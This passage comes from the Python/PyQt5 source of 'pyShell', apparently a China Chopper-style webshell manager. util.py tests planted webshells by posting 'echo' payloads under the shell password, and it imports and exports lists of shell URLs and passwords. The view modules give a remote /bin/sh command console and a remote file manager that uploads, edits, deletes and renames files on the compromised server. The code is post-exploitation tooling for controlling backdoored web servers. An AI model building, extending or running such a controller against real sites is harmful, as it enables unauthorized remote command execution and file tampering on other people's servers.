57 | logging.getLogger().setLevel(logging.DEBUG)
58 | requests_log = logging.getLogger("requests.packages.urllib3")
59 | requests_log.setLevel(logging.DEBUG)
60 | requests_log.propagate = True
61 |
62 |
63 | def debug_requests_off():
64 | '''Switches off logging of the requests module, might be some side-effects'''
65 | HTTPConnection.debuglevel = 0
66 |
67 | root_logger = logging.getLogger()
68 | root_logger.setLevel(logging.WARNING)
69 | root_logger.handlers = []
70 | requests_log = logging.getLogger("requests.packages.urllib3")
71 | requests_log.setLevel(logging.WARNING)
72 | requests_log.propagate = False
73 |
74 |
75 | @contextlib.contextmanager
76 | def debug_requests():
77 | '''Use with 'with'!'''
78 | debug_requests_on()
79 | yield
80 | debug_requests_off()
81 |
82 |
83 | def generate_random():
84 | return ''.join(random.choices(string.ascii_uppercase, k=16))
85 |
--------------------------------------------------------------------------------
/qqwry.dat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/potats0/pyShell/3616b88ad8c353bac3a04030957e0bc6db304a3f/qqwry.dat
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | altgraph==0.15
2 | certifi==2018.4.16
3 | chardet==3.0.4
4 | dnspython==1.15.0
5 | docopt==0.6.2
6 | et-xmlfile==1.0.1
7 | future==0.16.0
8 | idna==2.7
9 | jdcal==1.4
10 | macholib==1.9
11 | modulegraph==0.16
12 | odfpy==1.3.6
13 | openpyxl==2.5.4
14 | pefile==2017.11.5
15 | pycrypto==2.6.1
16 | PyInstaller==3.3.1
17 | PyQt5==5.10.1
18 | PyYAML==3.12
19 | qqwry-py3==1.0.8
20 | records==0.5.2
21 | requests==2.19.1
22 | sip==4.19.8
23 | SQLAlchemy==1.2.9
24 | tablib==0.12.1
25 | tinydb==3.9.0.post1
26 | unicodecsv==0.14.1
27 | urllib3==1.23
28 | xlrd==1.1.0
29 | xlwt==1.3.0
30 |
--------------------------------------------------------------------------------
/shell.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/potats0/pyShell/3616b88ad8c353bac3a04030957e0bc6db304a3f/shell.db
--------------------------------------------------------------------------------
/util.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 | # -*- coding: UTF-8 -*-
3 | import os
4 | import re
5 | import sys
6 | import time
7 | from urllib.parse import urlparse
8 |
9 | import dns.resolver
10 | import requests
11 | from PyQt5.QtCore import QRunnable, QObject, pyqtSignal, QThreadPool
12 | from PyQt5.QtWidgets import QMessageBox
13 |
14 | from model.db import db
15 | from model.shells.Caidao import cache
16 |
17 |
18 | def isip(domain):
19 | p = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
20 | if p.match(domain):
21 | return True
22 | else:
23 | return False
24 |
25 |
26 | @cache()
27 | def get_location_from_domain(domain):
28 | """
29 | use httpdns to resolv domain
30 | :param domain: 域名
31 | :return: location
32 | """
33 | domain = urlparse(domain).netloc
34 | if ":" in domain:
35 | domain = domain.split(":")[0]
36 | if isip(domain):
37 | ip = domain
38 | else:
39 | if "localhost" in domain:
40 | ip = "127.0.0.1"
41 | else:
42 | try:
43 | A = dns.resolver.query(domain, 'A')
44 | ip = A.response.answer[0][0].address
45 | except Exception:
46 | return "Not found Address"
47 | location = qqwry_search()(ip)
48 | return location
49 |
50 |
51 | def test_shell(url, passwd, type, row):
52 | forms = {
53 | passwd: "echo 12233333333;"
54 | }
55 | try:
56 | data = requests.post(url, data=forms, timeout=1)
57 | if "12233333333" in data.text:
58 | status = True
59 | else:
60 | status = False
61 | except Exception as e:
62 | print(sys.exc_info())
63 | status = False
64 | finally:
65 | return status, row
66 |
67 |
68 | def try_catch(func):
69 | def b(*args, **kwargs):
70 | obj = args[0]
71 | try:
72 | func(*args, **kwargs)
73 | except Exception as e:
74 | obj.signal.result.emit(sys.exc_info()[0])
75 |
76 | return b
77 |
78 |
79 | class WorkerSignals(QObject):
80 | result = pyqtSignal(object)
81 |
82 |
83 | class worker(QRunnable):
84 | def __init__(self, func, **kargs):
85 | super(worker, self).__init__()
86 | self.func = func
87 | self.kargs = kargs
88 | self.signal = WorkerSignals()
89 |
90 | @try_catch
91 | def run(self):
92 | self.signal.result.emit(self.func(**self.kargs))
93 |
94 |
95 | def start_runnable(func, slot, **kwargs):
96 | w = worker(func, **kwargs)
97 | w.signal.result.connect(slot)
98 | pool = QThreadPool.globalInstance()
99 | pool.start(w)
100 |
101 |
102 | def iscomplete(func):
103 | def a(*args, **kwargs):
104 | if any(map(lambda x: isinstance(x, type), args)):
105 | QMessageBox.critical(args[0], 'pyshell', "操作未完成")
106 | else:
107 | func(*args, **kwargs)
108 |
109 | return a
110 |
111 |
112 | def isloaded(func):
113 | def b(*args, **kwargs):
114 | if hasattr(args[0], "linker"):
115 | func(*args[:1], **kwargs)
116 | else:
117 | print("not loaded,mat be network is slow")
118 |
119 | return b
120 |
121 |
122 | def load_from_file(filename: str, separator: str = '|') -> [int, int]:
123 | """从给定的文件中读取记录并插入数据库中
124 | filename:给定的文件名,绝对路径
125 | separator:每条记录的分隔符,由用户指定
126 | ignore:忽略单行错误,如果某一行出现错误,则跳过不处理。如果为false,则不继续导入,返回已经导入成功的数字和false
127 | 返回值 返回元祖,第一项为成功导入的数字,第二项为是否全部导入成功(Ture or False)
128 | 例如如果文件100行记录,导入100行全部成功,则返回100,True
129 | 如果成功导入90行,则返回90,False
130 |
131 | 例如
132 | http://www.qq.com/1.php|cmd
133 | 则separator为|,前面的为url,后面的为shell的链接密码,如果url没有以http://开头,则给添加上(默认http)
134 | if not url.startWith("http://):
135 | do something
136 |
137 | 插入数据库,调用model.db,首先实例化,然后调用insert函数
138 | 例:
139 | db = db()
140 | db.insert(records)
141 | insert()每个参数的含义(从左到右依次)
142 | types:shell的类型,大写字符串 PHP/ASP/ASPX/CUSTOMER
143 | shell:shell的地址(记得添加http://)
144 | passwd:shell的密码
145 | config:shell的配置,目前留空(空字符串)
146 | remark:shell的备注
147 | type_id:目前为"0"
148 | coding:shell的编码,默认utf-8
149 | createdtime:shell创建日期 字符串类型 time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
150 | updatetime:shell更新日期,目前暂时和createdtime一致即可
151 | """
152 | num, failed_num, shell_db, created_time = 0, 0, db(), time.strftime("%Y-%m-%d %H:%M:%S",
153 | time.localtime())
154 | with open(filename, "r") as f:
155 | for num, line in enumerate(f, 1):
156 | shell = line.strip().split(separator)
157 | if not len(shell) == 2:
158 | failed_num += 1
159 | continue
160 | if not shell[0].startswith("http"):
161 | shell[0] = "http://" + shell[0]
162 | shell_type = re.findall("(.php|.aspx|.asp)", shell[0], re.I) # 识别并添加shell类型
163 | if len(shell_type):
164 | shell_type = shell_type[0].upper().replace('.', '')
165 | else:
166 | shell_type = "CUSTOMER"
167 | shell.insert(0, shell_type)
168 | shell.extend(['', '', 0, 'utf-8', created_time, created_time])
169 | shell_db.insert(*shell)
170 | return num, num ^ failed_num
171 |
172 |
173 | def splitpath(path):
174 | def _get_bothseps(path):
175 | if isinstance(path, bytes):
176 | return b'\\/'
177 | else:
178 | return '\\/'
179 |
180 | path = os.fspath(path)
181 | seps = _get_bothseps(path)
182 | i = len(path)
183 | re = []
184 | while i:
185 | i -= 1
186 | if path[i - 1] in seps:
187 | re.append(path[i:])
188 | path = path[:i]
189 | re.reverse()
190 | return re
191 |
192 |
193 | class qqwry_search(object):
194 | """docstring for qqwry_search"""
195 |
196 | def __new__(cls, *args, **kwargs):
197 | if not hasattr(cls, "instance"):
198 | cls.instance = super(qqwry_search, cls).__new__(cls)
199 | return cls.instance
200 |
201 | def __init__(self):
202 | from qqwry import QQwry
203 | self.q = QQwry()
204 | self.q.load_file('qqwry.dat')
205 |
206 | def __call__(self, ip: str):
207 | return ' '.join(self.q.lookup(ip))
208 |
209 | def __del__(self):
210 | self.q.clear()
211 |
212 |
213 | def export_shell_file(filename: str, separator: str = '|') -> [int]:
214 | num, shell_list = 0, db().getall()
215 | with open(filename, "w+") as f:
216 | for shell in shell_list:
217 | f.write(shell['shell'] + separator + shell['passwd'] + "\n")
218 | num = num + 1
219 | return num
220 |
221 |
222 | if __name__ == '__main__':
223 | # print(get_location_from_domain('http://www.xxx.com'))
224 | print(export_shell_file("C:\\Users\\12937\\Desktop\\a.txt", "|||||"))
225 |
--------------------------------------------------------------------------------
/view/__init__.py:
--------------------------------------------------------------------------------
1 | from .main_view import main_view
2 |
--------------------------------------------------------------------------------
/view/add_shell_view.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 | # -*- coding: UTF-8 -*-
3 |
4 | from PyQt5 import uic
5 | from PyQt5.QtCore import pyqtSignal
6 | from PyQt5.QtGui import QIcon
7 | from PyQt5.QtWidgets import QDialog, QLineEdit
8 |
9 |
10 | # TODO 目前只实现添加,暂未实现修改功能
11 | class add_shell_ui_ctrl(QDialog):
12 | insert = pyqtSignal(str, str, str, str, str, str, str) # 添加
13 | update = pyqtSignal(str, str, str, str, str, str, str, str) # 修改
14 |
15 | # siteurl #URL
16 | # sitepass #密码
17 | # config #配置
18 | # remarks 备注
19 | # type_id #类别
20 | # script #脚本类型 asp php
21 | # coding #编码方式
22 |
23 | def __init__(self):
24 | super(add_shell_ui_ctrl, self).__init__()
25 | self.ui = uic.loadUi("view/ui/add_shell_ui.ui", self)
26 | self.setWindowIcon(QIcon("system/main.ico"))
27 | self.setFixedSize(self.width(), self.height())
28 | self.set_data()
29 |
30 | def set_data(self):
31 | self.setWindowTitle("添加数据")
32 | self.ui.script.addItem(QIcon('system/script.ico'), "脚本类型")
33 | self.ui.script.addItem(QIcon('system/php.ico'), "PHP")
34 | self.ui.script.addItem(QIcon('system/asp.ico'), "ASP")
35 | self.ui.script.addItem(QIcon('system/aspx.ico'), "ASPX")
36 | self.ui.script.addItem("Customize")
37 | self.ui.coding.addItem(QIcon('system/coding.ico'), "字符编码")
38 | self.ui.coding.addItem("UTF-8")
39 | self.ui.coding.addItem("GB2312")
40 | self.ui.coding.addItem("BIG5")
41 | self.ui.coding.addItem("Euc-KR")
42 | self.ui.coding.addItem("Euc-JP")
43 | self.ui.coding.addItem("Shift_JIS")
44 | self.ui.coding.addItem("Windows-1251")
45 | self.ui.coding.addItem("Windows-874")
46 | self.ui.coding.addItem("ISO-8859-1")
47 | self.ui.coding.setCurrentIndex(1)
48 | self.ui.sitepass.setEchoMode(QLineEdit.Normal)
49 | self.ui.pass_checkBox.setChecked(True)
50 | self.ui.pushButton.clicked.connect(self.add_button)
51 | self.ui.siteurl.textChanged.connect(self.get_ext_from_url)
52 | self.ui.pass_checkBox.clicked.connect(self.pass_click)
53 |
54 | def get_ext_from_url(self):
55 | site_url = self.ui.siteurl.toPlainText() # URL
56 | site_url = site_url.upper()
57 | if ".PHP" in site_url:
58 | self.ui.script.setCurrentIndex(1) # php
59 | elif ".ASP" in site_url:
60 | self.ui.script.setCurrentIndex(2) # .ASP
61 | elif "ASPX" in site_url:
62 | self.ui.script.setCurrentIndex(3) # ASPX
63 | else:
64 | self.ui.script.setCurrentIndex(0)
65 |
66 | def add_button(self):
67 | site_url = self.ui.siteurl.toPlainText().strip() # URL
68 | if not site_url.startswith("http://"):
69 | site_url = "http://" + site_url
70 | site_pass = self.ui.sitepass.text().strip() # 密码
71 | config = self.ui.config.toPlainText().strip() # 配置
72 | remarks = self.ui.remarks.toPlainText().strip()
73 | type_id = str(self.ui.type_id.currentIndex())
74 | script_type = self.ui.script.currentText().strip()
75 | coding_type = self.coding.currentText().strip()
76 | self.insert.emit(site_url, site_pass, config, remarks, type_id, script_type, coding_type)
77 | self.close()
78 |
79 | def pass_click(self):
80 | if self.pass_checkBox.isChecked(): # 选中
81 | self.ui.sitepass.setEchoMode(QLineEdit.Normal)
82 | else:
83 | self.ui.sitepass.setEchoMode(QLineEdit.Password)
84 |
--------------------------------------------------------------------------------
/view/cmd_ui.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF-8 -*-
3 |
4 |
5 | # Authors: img
6 | # Date: 2018-06-21
7 |
8 | __author__ = "img"
9 | __date__ = '2018/6/21'
10 |
11 | from PyQt5 import uic
12 | from PyQt5.QtCore import QEvent
13 | from PyQt5.QtWidgets import QWidget, QApplication
14 |
15 | from model.db import db
16 | from model.shells import Caidao
17 | from util import start_runnable, iscomplete, isloaded
18 |
19 |
20 | class cmd_ui(QWidget):
21 | """
22 | # TODO 添加cd功能,测试在windows下的行为
23 | """
24 |
25 | def __init__(self, id: int, parent):
26 | super(cmd_ui, self).__init__(parent)
27 | self.main_ui = parent
28 | self.ui = uic.loadUi("view/ui/ShowcmdManage.ui", self) # 动态加标签
29 | self.ui.parameter_0.setMouseTracking(False)
30 | self.ui.parameter_0.setAcceptDrops(False)
31 | self.ui.parameter_0.setEditable(True)
32 | self.ui.parameter_0.setMaxVisibleItems(15) # 设置下拉最大选项数为15
33 | self.ui.parameter_0.installEventFilter(self) # 在窗体上为self.edit安装过滤器
34 | self.ui.pushButton.clicked.connect(self.execute_cmd) # shell命令
35 | self.ui.cmd_shell_TextEdit.setStyleSheet("color:rgb(245,245,245)") # 文本颜色
36 | self.ui.cmd_shell_TextEdit.setStyleSheet("background-color:rgb(192,192,192)") # 背景色
37 | self.ui.cmd_shell_TextEdit.setReadOnly(True)
38 | self.main_ui.tabWidget.addTab(self, "cmd")
39 | self.main_ui.tabWidget.setCurrentWidget(self)
40 | self.db = db()
41 | record = self.db.get(id)
42 | self.siteurl = record.shell
43 | self.sitepass = record.passwd
44 | self.get_metadata_from_server()
45 |
46 | def get_metadata_from_server(self):
47 | def start():
48 | return Caidao.Caidao(self.siteurl, self.sitepass)
49 |
50 | def getresult(obj):
51 | self.linker = obj
52 | self.ui.parameter_1.setText("/bin/sh")
53 | self.ui.parameter_2.setText("netstat -an | grep ESTABLISHED") # 设置当前内容
54 | self.ui.parameter_0.addItem("netstat -an | grep ESTABLISHED") # 添加到下拉列表
55 | self.execute_cmd()
56 |
57 | start_runnable(start, getresult)
58 |
59 | def eventFilter(self, source, event): # 事件监听
60 | if event.type() == QEvent.KeyPress and event.key() == 16777220: # 检测键盘事件
61 | QApplication.processEvents()
62 | self.execute_cmd() # 执行事件
63 | return QWidget.eventFilter(self, source, event) # 将事件交给上层对话框
64 |
65 | @iscomplete
66 | def display_info_to_panel(self, data, command=False):
67 | if not command:
68 | self.ui.cmd_shell_TextEdit.appendPlainText(data)
69 | self.main_ui.statusBar.showMessage("successed to execute command", 5000)
70 | data = ""
71 | self.ui.cmd_shell_TextEdit.appendPlainText(self.ui.linker.current_folder + "> " + data)
72 |
73 | @isloaded
74 | def execute_cmd(self): # shell命令
75 | command = self.ui.parameter_0.currentText().strip()
76 | self.display_info_to_panel(command, command=True)
77 | if not command:
78 | return
79 | self.ui.parameter_2.setText(command)
80 | self.ui.parameter_0.addItem(command)
81 | self.ui.parameter_0.setCurrentText("")
82 | start_runnable(self.ui.linker.exec_command, self.display_info_to_panel, cmd=command)
83 |
--------------------------------------------------------------------------------
/view/edit_file_ui.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF-8 -*-
3 |
4 | # Authors: img
5 | # Date: 2018-07-03
6 | from PyQt5 import uic
7 | from PyQt5.QtWidgets import QWidget, QMessageBox
8 |
9 | from util import start_runnable
10 |
11 | __author__ = "img"
12 | __date__ = '2018/7/3'
13 |
14 |
15 | class edit_file(QWidget):
16 | def __init__(self, linker, remote_file, parent):
17 | super(edit_file, self).__init__(parent)
18 | self.main_ui = parent # 主程序UI
19 | self.ui = uic.loadUi("view/ui/Edit_file.ui", self)
20 | self.main_ui.tabWidget.addTab(self, "Edit file")
21 | self.main_ui.tabWidget.setCurrentWidget(self)
22 | self.linker, self.remote_file = linker, remote_file
23 |
24 | # set slot
25 | self.ui.load_Button.clicked.connect(self.load_file)
26 | self.ui.save_Button.clicked.connect(self.save_file)
27 |
28 | self.dis_file_to_panel()
29 |
30 | def dis_file_to_panel(self):
31 | self.ui.name_lineEdit.setText(self.remote_file)
32 | start_runnable(self.linker.read_file, self.display, item=self.remote_file)
33 |
34 | def display(self, data):
35 | if isinstance(data, type):
36 | QMessageBox.critical(self, 'pyshell', "unable to read..")
37 | return
38 | self.main_ui.statusBar.showMessage("loaded file success", 2000)
39 | self.ui.data_textEdit.setPlainText(data)
40 |
41 | def load_file(self):
42 | self.remote_file = self.ui.name_lineEdit.text().strip()
43 | self.dis_file_to_panel()
44 |
45 | def save_file(self):
46 | content = self.ui.data_textEdit.toPlainText()
47 | filename = self.ui.name_lineEdit.text().strip()
48 | start_runnable(self.linker.save_file, lambda x: x, filename=filename, content=content)
49 | self.main_ui.statusBar.showMessage("saved file success", 2000)
50 |
--------------------------------------------------------------------------------
/view/export_shell_ui.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF-8 -*-
3 |
4 | # Authors: img
5 | # Date: 2018-07-17
6 |
7 |
8 | __author__ = "img"
9 | __date__ = '2018/7/17'
10 |
11 | from PyQt5 import uic
12 | from PyQt5.QtWidgets import QDialog, QFileDialog, QMessageBox
13 | from util import start_runnable, export_shell_file
14 |
15 |
16 | class export_shell_ui(QDialog):
17 | def __init__(self, parent):
18 | super(export_shell_ui, self).__init__(parent)
19 | self.ui = uic.loadUi("view/ui/export_shell.ui", self)
20 | self.main = parent
21 | self.ui.pushButton.clicked.connect(self.open_filedialog)
22 | self.ui.pushButton_2.clicked.connect(self.export_shell)
23 |
24 | def open_filedialog(self):
25 | options = QFileDialog.Options()
26 | options |= QFileDialog.DontUseNativeDialog
27 | fileName, _ = QFileDialog.getSaveFileName(self, "QFileDialog.getOpenFileName()", "",
28 | "All Files (*);;Python Files (*.py)", options=options)
29 | if fileName:
30 | self.filename = fileName
31 | self.ui.lineEdit.setText(fileName)
32 |
33 | def export_shell(self):
34 | def result(num):
35 | QMessageBox.critical(self, 'pyshell', "导出%s条" % (num))
36 |
37 | separator = self.ui.lineEdit_2.text()
38 | start_runnable(export_shell_file, result, filename=self.filename, separator=separator)
39 |
--------------------------------------------------------------------------------
/view/file_ui.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF-8 -*-
3 |
4 | # Authors: img
5 | # Date: 2018-06-25
6 |
7 | import util
8 |
9 | __author__ = "img"
10 | __date__ = '2018/6/25'
11 |
12 | import os
13 |
14 | from PyQt5 import uic
15 | from PyQt5.QtCore import Qt, QEvent
16 | from PyQt5.QtWidgets import QWidget, QTableWidget, QAction, QTableWidgetItem, QMenu, QFileDialog, QTreeWidgetItem, \
17 | QInputDialog, QLineEdit
18 | from collections import OrderedDict
19 |
20 | from model.db import db
21 | from model.shells import Caidao
22 | from util import start_runnable, iscomplete, isloaded
23 | from view.edit_file_ui import edit_file
24 |
25 |
26 | class file_ui(QWidget):
27 | def __init__(self, id, parent):
28 | super(file_ui, self).__init__(parent)
29 | self.main = parent
30 | self.ui = uic.loadUi("view/ui/ShowFileManage.ui", self) # 动态加标签
31 | self.ui.ComPath.setMouseTracking(False)
32 | self.ui.ComPath.setAcceptDrops(False)
33 | self.ui.ComPath.setEditable(True)
34 | self.ui.ComPath.setMaxVisibleItems(15) # 设置下拉最大选项数为15
35 | self.ui.ComPath.installEventFilter(self) # 在窗体上为self.edit安装过滤器
36 | self.ui.file_treeWidget.setColumnCount(1)
37 | self.ui.file_treeWidget.setHeaderLabels(["文件管理"])
38 | self.ui.file_treeWidget.setColumnWidth(0, 700) # 设置列宽
39 | self.ui.file_tableWidget.setColumnCount(5) # 列
40 | self.ui.file_tableWidget.setRowCount(0) # 行 len(node)
41 | self.ui.file_tableWidget.setHorizontalHeaderLabels(['is_dir', '名称', '时间', '大小', '属性'])
42 | self.ui.file_tableWidget.setColumnWidth(0, 0) # 设置表格的各列的宽度值
43 | self.ui.file_tableWidget.setColumnWidth(1, 320) # 设置表格的各列的宽度值
44 | self.ui.file_tableWidget.setColumnWidth(2, 170) # 设置表格的各列的宽度值
45 | self.ui.file_tableWidget.setColumnWidth(3, 100) # 设置表格的各列的宽度值
46 | self.ui.file_tableWidget.setColumnWidth(4, 160) # 设置表格的各列的宽度值
47 | self.ui.file_tableWidget.setEditTriggers(QTableWidget.NoEditTriggers) # 设置表格的单元为只读属性,即不能编辑
48 | self.ui.file_tableWidget.setSelectionBehavior(QTableWidget.SelectRows) # 点击选择是选择行//设置选中时为整行选中
49 | self.ui.file_tableWidget.setSelectionMode(QTableWidget.SingleSelection) # 禁止多行选择
50 | self.ui.file_tableWidget.setAlternatingRowColors(True) # 还是只可以选择单行(单列)
51 | self.ui.file_tableWidget.verticalHeader().hide() # 隐藏行头
52 | self.ui.file_tableWidget.setAlternatingRowColors(True) # 隔行换色
53 | self.setAcceptDrops(True)
54 | self.main.tabWidget.addTab(self, "File_Manager")
55 | self.main.tabWidget.setCurrentWidget(self)
56 | self.db = db()
57 | record = self.db.get(id)
58 | self.siteurl = record.shell
59 | self.sitepass = record.passwd
60 | self.get_baseinfo_from_server()
61 | self.ui.file_tableWidget.setContextMenuPolicy(Qt.CustomContextMenu)
62 | self.ui.setContextMenuPolicy(Qt.CustomContextMenu)
63 | self.ui.file_tableWidget.customContextMenuRequested.connect(self.file_tableWidget_menu)
64 | self.ui.file_tableWidget.cellDoubleClicked.connect(self.tabledoubleclicked)
65 | self.ui.file_treeWidget.itemClicked.connect(self.treeclicked)
66 | self.my = {}
67 | # self.file_tableWidget.dragEnterEvent.connect(self.dragEnterEventxxx) #拖拽接收文件
68 | self.ui.look_Button.clicked.connect(
69 | lambda: self.get_item_form_folder(self.ui.ComPath.currentText().strip()))
70 |
71 | def get_baseinfo_from_server(self): # 类初始化线程
72 | @iscomplete
73 | def setresult(window, obj):
74 | self.linker = obj
75 | self.current_folder = self.linker.current_folder
76 | self.get_item_form_folder(self.current_folder)
77 |
78 | def loadcaidao():
79 | return Caidao.Caidao(self.siteurl, self.sitepass)
80 |
81 | start_runnable(loadcaidao, lambda x: setresult(self, x))
82 |
83 | # TODO 写这个树型文件
84 | def build_tree(self, data, folder):
85 | self.ui.file_treeWidget.clear()
86 |
87 | def insert(l: dict, p: list):
88 | if p[1:] == p[:-1]:
89 | return
90 | for i in p:
91 | if i not in l:
92 | l.update({i: {}})
93 | x = OrderedDict(sorted(l.get(i).items()))
94 | l[i] = x
95 | l = x
96 |
97 | def inner_build(l, parent=None):
98 | if not l:
99 | return
100 | for i in l.keys():
101 | if not parent:
102 | self.root = QTreeWidgetItem(self.ui.file_treeWidget)
103 | p = self.root
104 | else:
105 | child1 = QTreeWidgetItem(parent)
106 | p = child1
107 | p.setText(0, i)
108 | if l.get(i):
109 | inner_build(l.get(i), p)
110 | self.ui.file_treeWidget.addTopLevelItem(self.root)
111 | self.ui.file_treeWidget.setColumnWidth(0, 160)
112 | self.ui.file_treeWidget.expandAll()
113 |
114 | path_list = util.splitpath(folder + self.linker.separator)
115 | insert(self.my, path_list)
116 | for i in data:
117 | if i.is_dir is "T":
118 | if not "." in i.name or not "." in i.name:
119 | folder = i.name.replace("//", "/")
120 | insert(self.my, util.splitpath(folder + self.linker.separator))
121 | inner_build(self.my, None)
122 |
123 | def normalize_name(self, string: str, is_dir):
124 | _, file_name = os.path.split(string)
125 | if is_dir is "T":
126 | file_name += self.linker.separator
127 | return file_name
128 |
129 | def normalize_perm(self, string):
130 | num_to_str = {
131 | "7": "|rwx",
132 | "6": "|rw-",
133 | "5": "|r-x",
134 | "4": "|r--",
135 | "3": "|-wx",
136 | "2": "|-w-",
137 | "1": "|--x",
138 | "0": "|---",
139 | }
140 | result = "s" if int(string[0]) else "-"
141 | return result + "".join(list((num_to_str.get(x) for x in string if int(x))))
142 |
143 | @iscomplete
144 | def add_item_to_filetable(self, data, folder):
145 | folder = folder.replace(".." + self.linker.separator, "").replace("." + self.linker.separator, "").replace(
146 | self.linker.separator * 2, self.linker.separator)
147 | self.current_folder = folder
148 | self.build_tree(data, folder)
149 | self.ui.ComPath.setCurrentText(folder)
150 | self.ui.ComPath.addItem(folder)
151 | self.ui.file_tableWidget.setRowCount(0)
152 | self.ui.file_tableWidget.clearContents()
153 | for i in data:
154 | row = self.ui.file_tableWidget.rowCount()
155 | self.file_tableWidget.insertRow(row)
156 | self.file_tableWidget.setItem(row, 0, QTableWidgetItem(i.is_dir))
157 | self.file_tableWidget.setItem(row, 1, QTableWidgetItem(self.normalize_name(i.name, i.is_dir)))
158 | self.file_tableWidget.setItem(row, 2, QTableWidgetItem(i.st_mtime))
159 | self.file_tableWidget.setItem(row, 3, QTableWidgetItem(i.size))
160 | self.file_tableWidget.setItem(row, 4, QTableWidgetItem(self.normalize_perm(i.permission)))
161 |
162 | def eventFilter(self, source, event): # 事件监听
163 | if event.type() == QEvent.KeyPress and event.key() == 16777220: # 检测键盘事件
164 | self.get_item_form_folder(self.ui.ComPath.currentText().strip()) # 执行事件
165 | return QWidget.eventFilter(self, source, event) # 将事件交给上层对话框
166 |
167 | def get_item_form_folder(self, folder, flush=False):
168 | if flush:
169 | start_runnable(self.linker.get_folder_list, lambda x: self.add_item_to_filetable(x, folder), folder=folder,
170 | flush=True)
171 | else:
172 | start_runnable(self.linker.get_folder_list, lambda x: self.add_item_to_filetable(x, folder), folder=folder,
173 | flush=False)
174 |
175 | def file_tableWidget_menu(self, p):
176 | self.popMenu = QMenu()
177 | action = QAction('刷新', self)
178 | action.triggered.connect(self.refresh)
179 | self.popMenu.addAction(action)
180 | self.popMenu.addSeparator()
181 | action = QAction('上传文件', self)
182 | action.triggered.connect(self.upload_file)
183 | self.popMenu.addAction(action)
184 | action = QAction(u'下载文件', self)
185 | action.triggered.connect(lambda: self.ShowFileManage_data.file_Download_shell_Thread())
186 | self.popMenu.addAction(action)
187 | self.popMenu.addSeparator()
188 | filename = self.get_filename_from_tablewig()
189 | if filename and not filename.endswith(self.linker.separator):
190 | action = QAction('编辑', self)
191 | action.triggered.connect(self.open_file)
192 | self.popMenu.addAction(action)
193 | action = QAction('删除', self)
194 | action.triggered.connect(self.delete_file)
195 | self.popMenu.addAction(action)
196 | action = QAction('重命名', self)
197 | action.triggered.connect(self.rename_file)
198 | self.popMenu.addAction(action)
199 | # TODO 搞清楚复制粘贴的逻辑
200 | # action = QAction('复制', self)
201 | # action.triggered.connect(lambda: self.ShowFileManage_data.file_copy_shell())
202 | # self.popMenu.addAction(action)
203 | # action = QAction('粘贴', self)
204 | # action.triggered.connect(lambda: self.ShowFileManage_data.file_paste_shell_Thread())
205 | # self.popMenu.addAction(action)
206 | self.popMenu.addSeparator()
207 | action = QAction('修改文件(夹)时间', self)
208 | action.triggered.connect(self.modifyed_time)
209 | self.popMenu.addAction(action)
210 | self.name = self.popMenu.addMenu('新建')
211 | action = QAction('文件夹', self)
212 | action.triggered.connect(self.new_folder)
213 | self.name.addAction(action)
214 | action = QAction('文件', self)
215 | action.triggered.connect(self.new_file)
216 | self.name.addAction(action)
217 | self.ui.popMenu.exec_(self.file_tableWidget.mapToGlobal(p))
218 |
219 | def tabledoubleclicked(self, x, y):
220 | folder_name: str = self.ui.ComPath.currentText().strip() + self.linker.separator + self.ui.file_tableWidget.item(
221 | x,
222 | 1).text()
223 |
224 | if folder_name.endswith(self.linker.separator):
225 | # 以文件分割符结尾,当然是文件架啦,所以调用获取文件夹内容
226 | self.get_item_form_folder(folder_name)
227 | else:
228 | self.open_file()
229 |
230 | @isloaded
231 | def refresh(self):
232 | self.linker.get_folder_list(self.current_folder, True)
233 |
234 | @isloaded
235 | def upload_file(self):
236 | @iscomplete
237 | def setresult(result):
238 | self.refresh()
239 |
240 | options = QFileDialog.Options()
241 | options |= QFileDialog.DontUseNativeDialog
242 | fileName, _ = QFileDialog.getOpenFileName(self, "QFileDialog.getOpenFileName()", "",
243 | "All Files (*);;Python Files (*.py)", options=options)
244 | if fileName:
245 | _, remote_fileName = os.path.split(fileName)
246 | start_runnable(self.linker.upload_file, setresult, remote_file=remote_fileName, local_file=fileName)
247 |
248 | @isloaded
249 | def open_file(self):
250 | filename = self.get_filename_from_tablewig()
251 | edit_file(self.linker, filename, self.main)
252 |
253 | @isloaded
254 | def delete_file(self):
255 | @iscomplete
256 | def setresult(result):
257 | self.refresh()
258 |
259 | filename = self.get_filename_from_tablewig()
260 | start_runnable(self.linker.delete_file, setresult, remote_path=filename)
261 |
262 | @isloaded
263 | def rename_file(self):
264 | @iscomplete
265 | def setresult(result):
266 | self.refresh()
267 |
268 | old = self.get_filename_from_tablewig()
269 | text, okPressed = QInputDialog.getText(self, "pyshell", "pls input new name:", QLineEdit.Normal, " ")
270 | if okPressed and text.strip():
271 | new = self.ui.ComPath.currentText().strip() + self.linker.separator + text
272 | start_runnable(self.linker.rename, setresult, src=old, dst=new)
273 |
274 | def get_filename_from_tablewig(self):
275 | row = self.ui.file_tableWidget.selectionModel().currentIndex().row()
276 | try:
277 | filename: str = self.ui.ComPath.currentText().strip() + self.linker.separator + self.ui.file_tableWidget.item(
278 | row, 1).text()
279 | except AttributeError:
280 | filename = None
281 | return filename
282 |
283 | # TODO 未来的任务
284 | def modifyed_time(self):
285 | filename = self.get_filename_from_tablewig()
286 |
287 | @isloaded
288 | def new_folder(self):
289 | @iscomplete
290 | def setresult(result):
291 | self.refresh()
292 |
293 | text, okPressed = QInputDialog.getText(self, "pyshell", "pls input new folder name:", QLineEdit.Normal, " ")
294 | if okPressed and text.strip():
295 | folder = self.ui.ComPath.currentText().strip() + self.linker.separator + text
296 | start_runnable(self.linker.new_folder, setresult, folder_name=folder)
297 |
298 | @isloaded
299 | def new_file(self):
300 | @iscomplete
301 | def setresult(result):
302 | self.refresh()
303 |
